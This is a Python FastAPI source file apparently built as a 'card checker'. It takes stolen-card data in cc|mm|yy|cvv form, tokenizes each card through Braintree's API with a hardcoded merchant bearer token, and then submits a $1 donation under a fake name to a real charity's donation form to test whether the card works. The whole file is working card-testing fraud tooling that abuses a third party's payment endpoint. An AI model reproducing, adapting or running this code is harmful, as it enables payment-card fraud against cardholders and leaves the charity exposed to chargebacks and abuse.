Braintree / main.py
rkihacker's picture
Create main.py
af3ed1b verified
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
import requests
import uuid
from faker import Faker
import re
app = FastAPI()
fake = Faker()
# API endpoints
BRAINTREE_API_URL = "https://payments.braintree-api.com/graphql"
DONATION_API_URL = "https://www.kiusa.org/?givewp-route=donate&givewp-route-signature=6e7056237cf4f9e3c054d7723aac17e0&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration=1760437730"
# Headers for Braintree API (replace authorization token with a valid one for real use)
BRAINTREE_HEADERS = {
"accept": "*/*",
"accept-language": "en-US,en;q=0.9,ru;q=0.8",
"authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE3NjAzODAyNjYsImp0aSI6ImQ4ZTU0YWVhLTBjYWYtNDgyNy1iYzdhLTBmZGVmYmNkNjU3OSIsInN1YiI6IjkzNW16dGRndmdqNjVnbWciLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6IjkzNW16dGRndmdqNjVnbWciLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0Ijp0cnVlLCJ2ZXJpZnlfd2FsbGV0X2J5X2RlZmF1bHQiOmZhbHNlfSwicmlnaHRzIjpbIm1hbmFnZV92YXVsdCJdLCJzY29wZSI6WyJCcmFpbnRyZWU6VmF1bHQiLCJCcmFpbnRyZWU6Q2xpZW50U0RLIl0sIm9wdGlvbnMiOnt9fQ.Upc3xPht1ZZ1mfwQlhwhasXVRdDY2Qe6He62WgJINTAQPpWH7xNGoejuSpEarooYhQI6Lo9frMq_05oxIJ9MNg", # Truncated for example
"braintree-version": "2018-05-10",
"content-type": "application/json",
"origin": "https://assets.braintreegateway.com",
"referer": "https://assets.braintreegateway.com/",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
}
# Headers for donation API
DONATION_HEADERS = {
"authority": "www.kiusa.org",
"accept": "application/json",
"accept-encoding": "gzip, deflate, br, zstd",
"accept-language": "en-US,en;q=0.9,ru;q=0.8",
"origin": "https://www.kiusa.org",
"referer": "https://www.kiusa.org/?givewp-route=donation-form-view&form-id=2992&locale=en_US",
"sec-ch-ua": '"Not;A=Brand";v="99", "Google Chrome";v="139", "Chromium";v="139"',
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": '"Windows"',
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
"content-type": "multipart/form-data; boundary=----WebKitFormBoundary6NrWWrdqTSFaZ8Wq"
}
class CardInput(BaseModel):
card_details: str
def parse_card_input(card_input: str):
"""Parse user-provided card details in format cc|mm|yy|cvv."""
if not re.match(r"^\d+\|\d{1,2}\|\d{2}\|\d{3,4}$", card_input):
raise ValueError("Invalid format. Use cc|mm|yy|cvv (e.g., 4737034069082783|05|27|713)")
try:
number, month, year, cvv = card_input.split("|")
number = number.strip()
month = month.strip()
year = f"20{year.strip()}" # Convert 2-digit year to 4-digit
cvv = cvv.strip()
# Basic validation
if not (number.isdigit() and 12 <= len(number) <= 19):
raise ValueError("Invalid card number")
if not (month.isdigit() and 1 <= int(month) <= 12):
raise ValueError("Invalid expiration month")
if not (year.isdigit() and len(year) == 4):
raise ValueError("Invalid expiration year")
if not (cvv.isdigit() and len(cvv) in [3, 4]):
raise ValueError("Invalid CVV")
return {
"number": number,
"cardholderName": "", # Not provided in format, left empty
"expirationMonth": month.zfill(2), # Ensure 2 digits
"expirationYear": year,
"cvv": cvv,
"postalCode": fake.zipcode() # Generate random postal code
}
except ValueError as e:
raise ValueError(f"Error parsing card details: {str(e)}")
def create_graphql_payload(card_details):
"""Create GraphQL payload for tokenizing credit card."""
session_id = str(uuid.uuid4())
payload = {
"clientSdkMetadata": {
"source": "client",
"integration": "dropin2",
"sessionId": session_id
},
"query": """
mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) {
tokenizeCreditCard(input: $input) {
token
creditCard {
bin
brandCode
last4
cardholderName
expirationMonth
expirationYear
binData {
prepaid
healthcare
debit
durbinRegulated
commercial
payroll
issuingBank
countryOfIssuance
productId
}
}
}
}
""",
"variables": {
"input": {
"creditCard": {
"number": card_details["number"],
"expirationMonth": card_details["expirationMonth"],
"expirationYear": card_details["expirationYear"],
"cvv": card_details["cvv"],
"billingAddress": {
"postalCode": card_details["postalCode"]
}
},
"options": {
"validate": False
}
}
},
"operationName": "TokenizeCreditCard"
}
return payload
def check_card(card_details):
"""Send card details to Braintree API and return response."""
payload = create_graphql_payload(card_details)
try:
response = requests.post(BRAINTREE_API_URL, headers=BRAINTREE_HEADERS, json=payload)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
return {"error": f"Braintree request failed: {str(e)}"}
def create_donation_payload(token):
"""Create multipart/form-data payload for donation request."""
boundary = "----WebKitFormBoundary6NrWWrdqTSFaZ8Wq"
fields = [
("amount", "1"),
("currency", "USD"),
("donationType", "single"),
("formId", "2992"),
("gatewayId", "braintree"),
("firstName", "Rambo"),
("lastName", "Rami"),
("email", "niansuhai@proton.me"),
("donationBirthday", ""),
("originUrl", "https://www.kiusa.org/donations/donate-today/"),
("isEmbed", "true"),
("embedId", "2992"),
("locale", "en_US"),
("gatewayData[give-braintree-drop-in-nonce]", token)
]
body = ""
for name, value in fields:
body += f"--{boundary}\r\nContent-Disposition: form-data; name=\"{name}\"\r\n\r\n{value}\r\n"
body += f"--{boundary}--\r\n"
return body.encode("utf-8")
def send_donation_request(token):
"""Send donation request to kiusa.org with the tokenized card."""
payload = create_donation_payload(token)
try:
response = requests.post(DONATION_API_URL, headers=DONATION_HEADERS, data=payload)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
return {"error": f"Donation request failed: {str(e)}"}
@app.post("/braintree-chk")
async def check_card_endpoint(card_input: CardInput):
"""Endpoint to check credit card details and process donation."""
try:
card_details = parse_card_input(card_input.card_details)
braintree_response = check_card(card_details)
token = None
if braintree_response.get("data", {}).get("tokenizeCreditCard"):
token = braintree_response["data"]["tokenizeCreditCard"]["token"]
donation_response = {"error": "No token generated"} if not token else send_donation_request(token)
result = {
"card_details": {
"last4": card_details["number"][-4:],
"expiration": f"{card_details['expirationMonth']}/{card_details['expirationYear']}",
"cvv": card_details["cvv"],
"postalCode": card_details["postalCode"]
},
"braintree_response": braintree_response,
"donation_response": donation_response
}
return result
except ValueError as e:
raise HTTPException(status_code=400, detail=str(e))
except Exception as e:
raise HTTPException(status_code=500, detail=f"Server error: {str(e)}")